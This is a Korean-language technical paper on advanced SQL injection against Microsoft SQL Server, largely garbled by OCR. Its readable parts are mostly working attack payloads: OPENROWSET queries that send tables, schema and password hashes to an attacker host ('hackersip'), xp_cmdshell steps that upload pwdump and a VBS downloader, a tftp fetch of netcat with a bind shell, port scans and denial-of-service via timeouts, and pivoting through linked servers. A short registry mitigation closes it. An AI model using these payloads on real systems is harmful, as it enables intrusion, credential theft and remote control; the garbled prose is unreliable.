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SQL Injection F <& E A

E2 oHgiet @ 2elis2 SAXNS0 & EURMZ SQL ol HAIXE 2 2 4 D AM
Z0E sldl g2 2 Qe Ao Ot8 =1 QUCH 0l SQL =2 3A0 Uist =2 = NGSSoftware
(http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf)2l Chris AnsleyJt & A0 X
SO=Z Jl& TIHJULCH 0l 2HM=E 0148 A0l AH AEE = A= 32 Jtss 2ol ol 30
ZA A2l 230ICH

g SEZZ20Y MUlM SQL =& 332 AMEoteil & M, 33 XE a0l Jdt= SQL 22
AKX CIOIE HIOIA MHOUA g = JAesXI &0 = Y= YOl Eotth. =01 10 ZUE
el B YT ER=Z2 S SQL ABE & W2 WE g+2 0|Sotd Oldet SH= 018 = ULL
OPENROWSET 1} OPENDATASOURCE gf==&= SQL AMH e 20l

Jtscotth. Olefst g=+==
OPENROWSET g&== Z& HHMS0UA ASE = A2U OPENDATASOURCE &%
SQL-DB=2t AHEE =+ ULH

Otel SQL &= &AX UI0IE XHEO0IA users HIOIZES 2= € == BtEstlt.

Select * from
OPENROWSET (‘SQLoledb’,
‘server=servername;uid=sa;pwd=h8ck3r’,

‘select * from users’)
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Select * from
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;’,

‘select * from users’)

SQL A= SQL ZHE2= &dot)| 2?18 OLEDB MEXE SQloledbZ AFEE Z10ICH OLEDB £
AP FA= 10.0.0.1029 14338 ELE=Z F=GHI| fIo SQL A3 2t01E2{2/(DBMSSOCN)E AtEE
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Select * from
OPENROWSET (‘SQLoledb’,
‘uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;’,

‘select * from table’)

Ole4st SQL =S S3 & HOoIXo FLE2EM, 33 N= SQL BE=20| ad 2 2> J=XE
20l g 4 RUCH e 11 SQL 20| ds3H22 24 HAUH, 53 et AdHe 22 444 ZEE Z
o S2Xe ZRENA OofxzHt2E 5= Al & ZH0ICH 2tef AH ¢ Sl Z2atHol JACets
80/tcp ZE UM L0LID A= EH0122 FaH2 A0 clHA == OFRHI2E SQL 852
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SQL Injection Z1tgt 34l

OPENROWSETt OPENDATASOURCE & +£2 BtH2Z L SQL MBUIAM &2 OOIHE =23
Q@I ok MFEEC L o g2 AKX Mol =XMot=s I0IHE IHH=UE A8 € =+
ULt OPENROWSETZ SelectZ22 A dot=0 MEE =8 OtLIct 2/ CIOIHN CHoll Update, Insert,
2|1 Delete 22 A8Gl=0T A2 S0 22X CIOIE HIOIAO CHol CIOIE = (insert, select,
deleteS)2 Aldol= 212 A OLEDB M3t 01248t JIs2 MaMSKete LEHEOIX £ 20|

Ct.

o

Otei Gid= 2= OIoIE X0 HIOIHHE €= A0l

Insert into
OPENROWSET(‘SQLoledb’,
‘server=servername;uid=sa;pwd=h8ck3r’,
‘select * from tablel’)

Select * from table2

PAL =OtElCE Ol

A2 MM 2X0I, 22 SQL AH table22 2= € =2 tablel &20 =
A Ct.

25
S Jiel HIOI=S0l tHet SQL HAH2lot HE8otH A& D] foiMd= €2 HOISE #FXE JHMOt

o

Ol ZOIAM B E THE &AX CI0IE HiolAs AKX A0 ek odst AHzx cltolzd
2 = Al BAX=s 33N PCOHIAM A& 1D A= Microsoft SQL MBHZ AKX OIOIE HIOIAE &

=
=otJ| <ol A2 FHE

Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;address=hackersip,1433;’,
‘select * from tablel’)

Select * from table2

Table10ll HAEGH &dt)| RdideE, SAXIt table22t 22 2 OIO0IH EIYSS MA0H00F
StCH. Ol 8t E2= AAHE tableS S2€ [ &2 & = QUCH 01AE 222 OIO0IE HIO0IA AlA

tables 20t 0101 & &AM UJI =20l Jtsotltt. A X= sysdatabases, sysobjects Zeli)
HE SASt 28 0123 U0 EtYSZ2 IR table2 MAEO=Z

ANZECH 2l UA ERe E2E A2 ?loiA OfcHel BE2S0| &dE = UL
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Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;’,
‘select * from _sysdatabases’)

Select * from master.dbo.sysdatabases

Iname dbid |sid [mode |status status2  |croate  |reserved |category |crptlevel
__?__imaster 1 0= 0 24 1030513040 2000-0,,, 1900-01-071,,, 0O 80
_3_jm|:|del 3 D= 0 1073741840 1090519040 2000-0.,, 2000-03-06... 0O 80
_{1__Jmsdb 4 D= 0 24 1090520084 2000-0.,. 1900-01-01 .., 0@ 80
_5__.|N|:|r1hwind G 0= 0 28 1090519040 2000-0... 1900-01-01 ... 0O 80
B [pubs 5 0=01 0 24 1090519040 2000-0,,, 1900-01-01 .., O 80
__?_jscan?db 7 O=010500... 0O 4194320 1090519040 2004-0,,. 1900-01-071 ... 0O 80
8 |tempdh 2 D= 0 8 1090519040 2005-0.,. 1900-01-01 ... 0 80

18, Sysdatabases c2|AE

Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;’,
‘select * from _sysobjects’)

Select * from user_database.dbo.sysobjects
(I |name [ict ixtype iuid iinfu:n |5tatus _lbase_sch...ireplinfu |parent_ohj |crdate
|69 |syssegments [ELET 1 3 -1BI06. O D 0 2000-08-...
| 70 | sysconstraints 1965105... W 1 7 -1BI06.. O ] 1] 2000-08-...
|71 |Banners 197706, L 1 4  1B1900.. 32 0 O 2004-08-...
|72 | Filesinstallad 199305.. U 1 4 1BIORL.. 16 i 0 2004-08-...
|73 |Hosts 200805.. U 1 13 161900.. 48 0 i 2004-08-...
| 74 |HostsFound 202505, U 1 3 161900.. 16 0 0 2004-08-...
75 |Johs 204105, U 120 161061... 16 0 0 2004-08-...

™. AF2 X DBO| sysobjects S =

Insert into

OPENROWSET(‘SQLoledb’,

‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;’,

‘select * from _syscolumns’)

Select * from user_database.dbo.syscolumns
| | [ I [ e

| narme ||d [wtype |lypestat [zuserype |Iength |®prec |><5|::ale |colid [xoffset
1_| name 1 231 1 256 256 0 0 1 -1
_%__jid 1 BB 1 ala] 4 10 0 i 4
_3_] wtype 1175 1 175 2 0 0 3 8
_51____|uid 1 &2 1 52 2 5 0 4 12

5 linfo 1 B 1 B2 2 5 0 5 14

e, AFE X DB2l syscolumns =5
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CIOIE HIOIAOA EHIOISEES M dds =0 SQL MHZFH E0t A= HIOIHE AU 2L A2

e 12 &O0ICH.

Insert into

OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;’,

‘select * from tablel’)

Select * from database.tablel

Insert into

OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;’,

‘select * from table2’)

Select * from database.table2

ot, BAXes 28 SEZZ 0l Ot HAXES =2 22 FHel Z2UsS
=2 p==4
= =

HEs det0l F=0A0E, sAN=s 20 AE, HARE hashes 2|AEE &2 =& RULH

Insert into

OPENROWSET(‘'SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;’,

‘select * from _sysxlogins’)

Select * from master.dbo.sysxlogins

raf —|

‘ 3

[

MULL O<010Z20000.. 22
MWULL OxE24CA9F0.., 95
MULL 0x91934E35... 34
MNULL 0x01 15

Srvid Isid ixstatus ixdatel |xdat92 |name [passward idbid [language |
2004-0... 200.. BUILTINYAdmi... NULL 1 =0
2005-0... 200.. dbmaster 0x0100EAZDSS1 309352AC02FBE384ACZ244607D0... 1 =0
2005-0... 200.. jishim 0x01005E2D 330690 7AB 1 7AF3A7RABOCACTITE,.. |1 =0
2000-0... 200., sa 0x0100884F7B4EBCBBFIE00DDYCEBD4Z2EEDCZ.,, 1 h=

IASE hashesE =S8 BANE HAYE LXE Y

= UCH

DAR TE A

il Oik= AlAE

alll

E 0&Hele A28 It

8. 23¢9 1D/PW

0
I
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1
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ol
=)
0
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§=|
>
4o
Ii
i
ne
o

gt A RA0A AlAE H
2

-7- jishim@hanaro.com



Manipulating SQL Server Using SQL Injection

Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;’,
‘select * from temp_table’)

Select * from master.dbo.xp_cmdshell ‘dir %SYSTEMROOT%\system32\drivers\etc’

aLtput

1| C=2l0les 280= 0120 gaLct

2 =5 24 Y3 FlbA-

3 NULL

4 | civhwinntsystem32¥driverstietc C12E2)
5 NOLL

B |2004-06-24 11:14p  <DIR>

7 | 2004-06-24 11:14p <DIR>

8 |2004-11-24 03250 3,570 hosts

|9 |2003-06-13 02:00p 3.683 Imhosts. sam
|10 | 2003-06-19 02:00p 407 netwarks
|11 |2003-06-19 02:00p 799 pratocol
_E_ 2003-06-19 09 00p 7.116 services
|13 5 o 15578 HHIE

|14 2CIRE 2] 34,833.952.656 HHDI E S
15 |MULL

8. Dir 28 =& Z1t

tEOI=S 28 EH0ULE, SA s LES

X
Ct. O S0l stbt2 22 X= 80/tcp ZEE ALESHH

OIHE JINQESE =4 s 28 & = ULt I 210 HTTP 220l OIF0HA X2Z LIEHHCH OfcH
Ol Oledgt J1=2 8toHXl Ol oF RUCH.

Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from tablel’)

Select * from tablel

0roF 80/tcp OIRHI2E E=01 2at=0l Qo e Z0H 3AX= XD
MRl A& &= QUL
=3Z G0l HIolA 22| Xt= security best-practices@t HI-2st 21 212 At

= &£4ot DBE Es€ AOICH Olefst 22 22 A= HI-Ag 2202 FHAFS 0t 2elX St
A s NS 2H0ICH A M= 2clk det B85S o 2AXAU AN E2 HAE =SS 0
g = O g SATIE S FHe 22 Adg = UlUY dets =0l A2 dluA g 0l
O 2H& FHAZS2 OtcHUlA =O0F = = UCH

http://www.appsecinc.com/cgi—bin/show_policy_list.pl?app_type=1&category=3

http://www.appsecinc.com/resources/alerts/mssql/
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b2 <Ioh, 2 X= 22 MO OfeHet 22 HIOISS 2t A 0ICH

=)
Y
m|o
OII

Create table attackertable(data text)
giold 2l IS +=Z6t)| st HOIES MLoALH, S22 X= Ot HOIEE L2 EIt Jtsotlt.
Bulk insert AttackerTable From ‘pwdump.exe’ With (codepage="RAW")

el LA Bioludel mrZ 2 Lol MBUA Ot A= SQL 2= S 2ZM afH2 A
Z22H Lok M2 G228 2 = UL

Exec xp_cmdshell ‘bcp “select * from AttackerTable” queryout

Pwdump.exe —c —Craw —Shackersip —Usa —Ph8ck3r

Ol Zd=2 33N Al Otz 852 A2 AJ|lLD AdeE ZUE We etol = HO0ICH
Olciet 852 a0 2o XHEHE &= UL LSHS K3lot)] Aol HHI AEE = /Y= R2

Exec xp_regwrite
‘HKEY_LOCAL_MACHINE’, SOFTWAREWMicrosoft\MSSQL Server\Client\ConnectTo’,'"HackerSrvAlias’,
REG_SZ',DBMSSOCN,hackersip,80’

el UA

Exec xp_cmdshell ‘bcp “select * from AttackerTable” queryout

Pwdump.exe —c —Craw —ShackerSrvAlias —Usa —Ph8ck3r’

Sofl AL AB0l %0t Blold2 MES
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€ O ¢8g2 2RI 0S ItY AIAEN vB A E(vbs) Lt XtHE AJEE(js)E MESE &

= dd A2IO MEE ADEE=E UE MBIl 8oL S22 Hioldel o

Exec xp_cmdshell ‘ “first script line” >> script.vbs'

Exec xp_cmdshell * “second script line” >> script.vbs'

Exec xp_cmdshell * “last script line” >> script.vbs'

Exec xp_cmdshell ‘script.vbs’ = execute script to download binary’
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UWE UERKIZ EF56}HI

AKX OOIE #HIolA MBI 3= Microsoft SQL AMBIJOF & CHHE A= 3= UE SQL A
HIOLAL & FHelE &dotl) AHE MO & == UAH =0 et 3= Microsoft SQLABIE OOl
C A

B HIOIAJE MAIE SlHEt: H= &= |AoH)| W20 S3X= ANSECZ 2 dE SQLAHE =
of LHREUWERIZ &Y = Y= s=E= JHE = UL UC= OO0IH HI0lA= Public IPEC=
Private IPE JIAIL] ALH Ol WR UHERIAZ &dH 58 = U= S2E MBI WZO0ICH
A= 60 AMHE A HE master.dbo.sysservers AIAE HOIZSZ2RH EE2E &85t X2H
AlZrEr A0I0.
Insert into
OPENROWSET(‘'SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from _sysservers’)
Select * from master.dbo.sysservers
S0 &0, 3= g8 20 FZX MAHSUH Jotle E2E 29 & = Ul
Insert into
OPENROWSET(‘'SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from _sysservers’)
Select * from LinkedOrRemoteSrvl.master.dbo.sysservers
Insert into
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from _sysdatabases’)
Select * from LinkedOrRemoteSrvl.master.dbo.sysdatabases
...etc
oror 3@ R0 AKX MBS0l OI0IH B8 <& S#3LFH0| ZX LApACHH(Y 2 HelE 4
Aot ol TR 20— SR ME T2 AL AHAIZIOH SZ2X= GS3 201 NS &= UCH
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Insert into

OPENROWSET(‘'SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,

‘select * from _sysservers’)
Exec LinkedOrRemoteSrvl.master.dbo.sp_executesql N'select * from master.dbo.sysservers’

Insert into

OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,

‘select * from _sysdatabases’)
exec LinkedOrRemoteSrvl.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases’

...etc.

0l JI=2 AEotH 32X= OO0IH oA MHWA CHE doIH HIoIA Az 244 & %= UCH
3= R ;AKX MHEZ2 SoHA UWR UWERIZZ H=2 20l E5Fd =HZE = UL
Insert into

OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from _sysservers’)
Exec LinkedOrRemoteSrvl.master.dbo.sp_executesql
N’LinkedOrRemoteSrv2.master.dbo.sp_executesql N”select * from

Master.dbo.sysservers

Insert into
OPENROWSET(‘SQLoledb’,

‘uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;’,
‘select * from _sysdatabases’)
Exec LinkedOrRemoteSrvl.master.dbo.sp_executesql
N’LinkedOrRemoteSrv2.master.dbo.sp_executesql N”select * from

Master.dbo.sysservers

..etc.
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H
Im
|>
=
oC

o0l Jl== J1g= oto, S22 X UWR UWERZT &2 AHWS JI2HQ2l IP/port AIHHZA
S

= =
SQL lnjection FAHES MSE £ UCE. G20l SQL Injection= AIEEC2 M, AXMAC ZAXI2 |IP

AER 2 2S HEGH ZHE ofXl 2= FAS (F)SSE2IYE ®2 =0, e s
20| SQL g8=2s 2¢ = Ul

Select * from
OPENROWSET(‘SQLoledb’,
‘uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5’,

‘select * from table’)

Ol #E2 80XEEE 0I8dtH 10.0.0.123 A2 OI2HIRE FHS ATE A0ICH BtEtE = Ol

OIAIXI2E AQE AIZHOl D=0t 22 Xks ZEIJ SR=A ER=XE B = QUL 2Hef rzE
b €0, Bt Ot DHOH B SHOIM =CERI2 FolE AlZt0l XILH old HAIXIO EAIE 220
Ct.

SQL server does not exist or access denied.

SQL Serverdt AL HAHAE 4~ QI&LICH

gror LEJL FRAULHH timeout AIZF WO(EZE= AM=Z EMdols SSZ2 00 CtA 2 EEHCH O

General network error. Check your network documentation.

Or
OLE DB provider ‘sqgloledb’ reported an error. The provider did not give any information about the

error.

up
o
P
fo]]
>
>
to

bt HERT 2FAULICH WERT EHA

0l JI=2 ArZotlH, 32X &% A= SQL AMHE SoHA &S0 XD &0, 122 IP =4S
SIHN UWR UERIU 52 2HY &0l SAESS Zel ZESS &0 & = JUAS A0I0 HHH
Gt Olcist EEHS Port AU E 42t 2206t SNCZ HERHIE YEo=0 AFZ2E M 018

= Ch
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=)
o
ol
Hl
Im
|>
=
0C
10
A

CHE gilts NHIA HT SAS =& AZICH Ol GINE 29,

Select * from
OPENROWSET(‘'SQLoledb’,
‘uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600’,

‘select * from table’)

0l #E2 10.0.0.123% =42 ftpdHIA(21/tcp)E 102 2H{timeout=600) 2f 4,00081 @& F= A&
£ oAl ECh 0] ¥&2 SQLMBIIL |RE8 AAEHAN XS o o & AlZH600/sec)=2t &
=2 A= AMEoH) 2o 240 0 339 SUE IUs ol fIchdeE G2 M2 SAl0
flo 2 RE2 2BUHUH 24 MHIA HS2(DDoS) SA&0l ZLME o QACH L8 A MHIA e
HEN o= 20t &€Xl Rote U= 2FIt 2dg AKXt =Ch

Select * from
OPENROWSET(‘SQLoledb’,

‘uid=sa;pwd=;Network=DBMSSOCN;Address=www.victim.com,80;timeout=36000000’,
‘select * from table’)

FALE &

OII

SE SU6tIl 2ol timeoutatE =&

Jp
0L
Iz
o
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+
%)
=
Hu
H0
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w
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in
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Hels
dIXIAEel A DisallowAdhocAccess

ad hoc

SQL ANHZFE OLEDBE Sé&t

e
[

S OB2cl At
OLEDB MESXE S8 SQL MHZFES2 Ad hoc #cl

=

gt

=N
=T

ArZEHCHH (Microsoft SQL A H 2000012 HZ) el

NAE2l 21 2o 222l ME 3I1 Olelldol DisallowAdhocAccess gt

name instance

= UCH

=1
=

RO

ES

i

O M

o0
&0
Ll

oI

o)
oo

Rr

QLServer\[Instancename]\Providers.

HKEY_LOCAL_MACHINE\Software\Microsoft\MicrosoftS

by

[w]

o)

00

i
<l
ol
<l

oJ

I

QLServer\MSSQLServer\Providers

HKEY_LOCAL_MACHINE\Software\MSS

o)
%0

12 &

=2
=

AE3IIgt Otel il DisallowAdhocAccess

224
= =

cdlXIAEe2l I 8te
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BAET 28 o

diIXIAEC OICIE A (regedit.exe)

{0 LhgE Al XA 2D

HES H3& ME I gt &

EditWNewWDWORD gt Ol OFOIE &=

® DisallowAdhocAccess0Ol M2 DWORD a2l 015 &%
® 1 s = 28 ot 12 4%

@ 242t MBXE vz

@@@@

=01 dXAEe I &= &I 8222 ZFolW it BEOIA Rot==

e
S|
or
ro
o

2ot HXISE2 | 6tD ALY AS| B0t ZDE =)Mo=z DLIHE
S 0

el ONSS HEAIFHOF S OHEIEXZ KA

. 0l

o
[=5
Ho
In
Im
ol
e
o
18
to
Jg
|0
Hu
]
[oa
0L
ij
I_J
@
|>
Im
o
O

DIXIgt AIE ISMO2, R= 2TQE 0
o 5

= OI0IE #iolA=8t otLlct & X Ul
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ol
S o

Microsoft SQL M= 2=
. 0l2ish At T2
EHSLOIAI ALS
VA LIHE NIE
A2 K20I2tE= A& Ot

o(HH

ol

Ct= 2/010ICH

EOZ)He B2 NHEZA AEEZ= OI0IE i

|21 2S0oll0F &tCh= HO0ICH SQL AHE Z2R
t=l OIOIE =8 Otllet UERZD &2 UHE S8
NHE 2O Z 2ot F=oioF sl
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Auto Scanning

1. SQL Injection FAE L= 2 M
olgl & £ AX0l SQL Injections 20 FUstXl ZAlot= 22 Otel HIAE AIOIEE Sof =+
? (o]

of Z2gACH Xt&I2] AFOIEDE SQL InjectionFH A E 0 =0 U= 2tHo|l BZoll = = UCH

(1) F4HQ HOIXE S0 =2C4.

SQL Injection FAEO| Lot 2 MEL S gtS LOISO0IL OHHE=It EMot= HIOIX
OICH. K&l AFOIEGIM AFSXH &= gt 20t=0l= a4
OlLt OHOHEH==DF EMHSt= HIOIXI(HIAIE, 21001, BXIAME S)E SH2CH

i, sql-injection, co, kr/boardflist, asp - Microsoft Internet Explores

| mME BTE B SAEIA RO ZETH)

J Z (D) |E_"| hitp:/ /v, sql-injection, co, kr/board/list asp j OIS

4[4 [or=z3Elof

|_|_‘o1|u A;Oﬂuf

6 [6 [28EV=

T

8 8 kKe/=12H

99 [EFHIE/NHN

|
|
|
|
[
il
|
[
|

1 [1 U101 /NHN 25 3:04:00[ZLHZ] HAICIE 22 T S0F M|~
2 [o [Cte/cte 2F 304002 HY ME|~, 2240 2T I
33 [Ulol= 2E 30400228 Y AO|IE, BHEE MH| &

D= 3:04:00 2 M MH| 2~ L

HMAaHE = HE

DF 3:04:00 SELEHAOIE HE

2= 3:04:00 2 FH,

oY, ROIES, ASAL S
2= 30400 KTH 2 MBI THEH 5H0IE,

D 3:04:00|21E{ G W2l A

H|

2F 3:04:00 128, HIERA

SDC.I-;. ;.{| §| =k

[1o[io[=89= [ D= 3:04:00 2E OIY, HIAA AL, 24, 2t
4 P SOL Injection |~ HI A ZH H O] A 2L CF

| K

R EEE

LEE

8. 4 HOoIK &% 3t

(2 DHoHE==Z OISt HIOIXIE 2&di 2Ct.

SQL Injection0 ZA3t= OHIHH=>= GET, POSTE Sl AHZ OteH OllMl= GETEAS
Soff S8 XS0l S0zt LHE2 ZHE o Z23F SFHOICH I H=a2 “myname”0l AFE &I RUCH
POST= CIHY AASZ2H URLEUA HE 2010l 2Jts otB2 &4 BI|E Sol S0ILE 2= B
Jb EMot=AX &elot®H =L

POST Ex) <FORM name=login action=login.asp method=POST>

<input type=hidden name=id value=1>

!

e

O
0

<input type=text name=test>
</FORM>

-18- jjshim@hanaro.com
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GET Ex) http://www. &2 A0
http://www. &2 ALO
http://www.& & AtOl £.co.kr/board/list.php?id=jjshim&page=1
http://www. &2 ALO

| E.co.kr/login.asp?id=jjshim&failed=3

| E .co.kr/fag/fag.asp?page=1

| E .co.kr/data/detail.jsp?Next=1&m_id=jjshim@hanaro.com

r.sgl-injection, co, kr/b stasp?myname=%MHMN - Microsoft Internet Exp -0l x|
J OHEiEy  EEE) HIM SHFINE XTI ESE(H) ‘
J a0} |'-€| http:/ S wearve, sgl-injection, co. kr/board/list, asprmyname=%MNHN j /oS

[1[1[HI01 8 /NHN| 2F 3:04:002LHe| BIAIOIE M & =It M|
[2[9[BHHI NHN] F 3:04:00[ 1A, BHIE2(~, 30Y P, A=
4 P SOL Injection Bl|2== HIA[Z HO[R 2 LCH

EEE IR EEE

| K

HTTF Communications Detail x|

Detail | Content| Text View | Packets Commands

HTTP Request Command

GET fboard/list.asp:nynane=5NHN HTTP/1.1 _:J
Accept: 1mage/sglf, image/x-xbitmap, lwage/jpeqg, image/pipeg, applicationsx-shockuawve-
Locept-Language: ko

Lccept-Encoding: gzip, deflate

User-Agent: Mo=zilla/4.0 (compatible; M3TE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

Host: www. sgl-injection.co.kr

Connection: Eeep-Aliwve

Cookie: ASPRESSIONIDOQQETOTIT=NEODMEECLFDIKFJIIAHALFEKE

-
| | »

HTTP Response Command

HITF/l.1 200 0K

Serwver: Microsoft-II3/5.0

Date: 2005 05:40:45 GHT
*—-Powered-Ey: ASP.NET
Content-Length: 431

Content-Type: text/html
Cache-control: priwvate

Lo

Z=HO| | A | I‘I%(E) |

i Tl

8. HTTP GET IH2!

-19- jjshim@hanaro.com
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HTTF Communications Detail x|

Detail | Content| Text View | Packets Commands

HTTP Request Command

POST flogin/login proc.asp HITP/Ll. 1 1=
Lccept: image/glf, image/x-xbitmap, image/jpeg, image/pipeqg, application/x-shockuawve-
Referer: http: s/ ww.sqgl-injection.co.kr

Lccept-Language: ko

Content-Type: application/x-wmm-form-urlencaoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSTE 6.0; Windows NT 5.0; .NET CLE 1.1.4322)

Host: wwr, sgl-injection.co.kr

Content-Length: 51 i
Connection: Keep-Aliwve

nenid= j j shim&mem2w=tlawj dwn&imagel 3 x=28&imagel i 2=26 _ILI
3

< |
HTTP Response Command

HTTP/1.1 200 OK |
Date: 2005 05:43:47 GMT

Herver: Hicrosnft—IIS;"S.D|

Content-Length: 115

Content-Type: text/html

Cache-control: priwate

z2l g | H=m |

8. HTTP POST 2!

SQL =& HAEHO0I EMot=X &gy = Y= 2AE2 ot 2XE0 HolM= 0 2A2

SHEI| Ht2tth Z2Xs Y, %27, +or SE 0ISotRUL FHAIEO0l =HotHE SQL ABel o
==

: =¥ =[O x|
| mE HEE ORI EHFIA RIS |

J—?F—i@:' &) http:,-f’fwww.sql—injectinn.cn.krfl:nnarl:l,-’list.asp?myname:%NHN; j ol

=

ticrosoft OLE DE Provider for SCQL Server error 'S800402 14"
= 1'% 2He 0| 2= sUCo

fboardiist.asp, line 64

[~
EEE T e 2E 4

2. SQL Injection F & 2 A4
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o

(.

Mt or 4n

=)

@) sQL =& Zat gl
SQL =2 30 Hdoilte H= =2IotACHH, OIM A2 X DBABE Manipulationg &4|Jt
SIACH. 22 AIAEI0 Microsoft SQL AHE AXIStHLE 22 CHE Microsoft SQLMHE AtE
otEE &8st = A DB ZugtE =24 g = JAEE NHUHIASE AIFAZICH SQL =& HAE
Mot= HIOIXIO HIOIH HIOIA SF]ES 20t 2E QueryE LB 2 = 6HCL
o)
INSERT INTO OPENROWSET('SQLoledb',
'uid=sa;pwd=hacker;Network=DBMSSOCN;Address=192.168.10.100,1433;
''SELECT * FROM checkdb.dbo.databases' ) SELECT name FROM master.dbo.sysdatabases ; --
|name |dbid!sid |m|:|de!status !statusZ crdate  [reserved |category |crptlevel
__2__ master 1 0= 0 24 1030513040 2000-0,,, 1900-01-071,,, 0O 80
3 |model 3 D= 0 1073741840 1090519040 2000-0.,, 2000-03-06... 0O 80
_{1__Jmsdb 4 D= 0 24 1090520084 2000-0.,. 1900-01-01 .., 0@ 80
5 |Morthwind B 0= 0 28 1090519040 2000-0... 1900-01-01 ... 0O 80
B |pubs 5 0=01 0 24 1090519040 2000-0,,, 1900-01-01 .., O 80
_?_Jscan?db 7 O=010500... 0O 4194320 1090519040 2004-0,,. 1900-01-071 ... 0O 80
8 |tempdh 2 D= 0 8 1090519040 2005-0.,. 1900-01-01 ... 0 80
18, Sysdatabases c2|AE
INSERT INTO OPENROWSET('SQLoledb’,
‘'uid=sa;pwd=hacker;Network=DBMSSOCN;Address=192.168.10.100,1433;
''SELECT * FROM checkdb.dbo.databases' ) select srvname from master.dbo.sysservers;--
|5ruid !sr...isrvname Isrupruduct !pruvidername idatasuurce ilu:u:atiu:un |pruvider5tring
o . PWESDE S0L Server SOLOLEDE PWSDE MULL  MULL
D oo HAEMAVIEW 50U Server SOLOLEDE  HAMSMEW  MWULL  MWULL
i E oo RMSYSTEM S0L Server SOLOLEDE  KMSYSTEM  WULL  MWULL
il 3 .. BO_SYSTEM S0L Server SOLOLEDE BO_SYSTER WULL  MWULL
574 oo LOGINDE SOL Server SOLOLEDE  LOGINDE MULL  MULL
B 15 ... FILEDBE S0L Server SOLOLEDE  FILEDE MULL  MULL

1&. Sysservers clAE

INSERT INTO OPENROWSET('SQLoledb’,
‘'uid=sa;pwd=hacker;Network=DBMSSOCN;Address=192.168.10.100,1433;
''SELECT * FROM checkdb..tb_table")

select TABLE_NAME from dbname .INFORMATION_SCHEMA.TABLES;--

iy

25t= DB2l ZE HIOIZ GIOIEHE Y HEHZ JIH2 =+ UsAl oA ME Z=2AIHQl

sp_makewebtaskE ArEZatH & Cf.
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ol

Data Thief, Absinthe, SPI SQL Injector E€ AlE2adlX & Bl Mol &E 219 SQL R2s 2UHoBIA

Eile

Host Infarmation | DB Schema | Download Records |

Help

20 =XxoB Folg £ ULk
o] x|
Sal Server: | Lagin: [sa Pz [rosecs Pait : |1 433 Maw. Flows : |1 [il]
Ll : Ihttp:a’a"www.sql-iniection.c:o.kn’boarda’list.asp?myname:aaa'; oy Fethod : IGET 'l Ga |
Past Data: |
Linked Servers : Databases : Figlds :
""" pubs -] O
Forthwind L [ fullD esc
J List Fieldz | [l
[ 14WADISA,
tempdb . Fileslnstalled O :iﬁiﬂgi':
madel List system u Hosts O
medb tables HostsFound [CJ1avaUsMC
pubs Jobs [1&vaUsN
MHorthwind j Schemat/er ﬂ [ ostrffected LI
Cuery : |Select Run Query |
Results :
WERSIOM =
Microsoft SOL Server 2000 - 8.00.760 [Intel X8E)
Dec 17 2002 14:22:05
Copyright [] 1988-2003 Microzoft Corporation |
Enterprize Edition onindows MT 5.0 [Build 2155: Service Pack 4)
Lagin name: sa
Uzer name: dba
|z db_owner: 1 j
_18. Data ThiefE2 AtE& == B3
3 =10 x]

Exploit Type:
Select the type of injection:

¥ Blind Injection

Select The Target Database: |MS S0L Served

=

Connection:

Target URL: http:a’a‘lwww.sql—injectinn.cu.kn’event_list.asp?

Connection Method: & Post C Get [T Lse S50

xf’-‘xdjust Praxy Configuration |

[T Comment out remainder of query W Append text to end of query

Extra text to append: I';EXEC master._xp_cmdshell tp -i

200 get cnc.exe cin

Farm Parameters:

Marne:

F'arameterslH"I‘I’F' Headersl Edit |

Default Value:!

MName |Defau|t |Injeu:tab|e =

[ Injectahle Parameter
= Treat Walue as String

idx 1

ap Add Parameter | <P Additional Headers

J| |

[

Deletel

klnitialize Injection

g, AbsintheE2 AIEst =5 &4
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ZIZANME

VN

(6) B&E =3 A 3|4l
SQL =g FHUFHOl &AM =Mot=X HAotzs LE 22 Microsoft SQLAMH = && MN&E
ol=2e = ULt Oracle, MySQLS 2| SQLE execlt &€& UE EE = 0|6t
'EXEC master..xp_cmdshell ‘tftp —I IPAddress GET nc.exe c:\nc.exe’--
CtH XHaQl AMABICZ 2IHA g4l 52 &

'"EXEC master..xp_cmdshell ‘c:\nc.exe —| —p 8080 —e cmd.exe’--
SHHEO0ILE AHE IPE AFE0HD

gt

ooy & MHIH ¥

tH =0

ol

jjshim@hanaro.com
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2. SQL Injection HA Xts &AM

=
et
10
=
o
Im
A=
%)
)
[
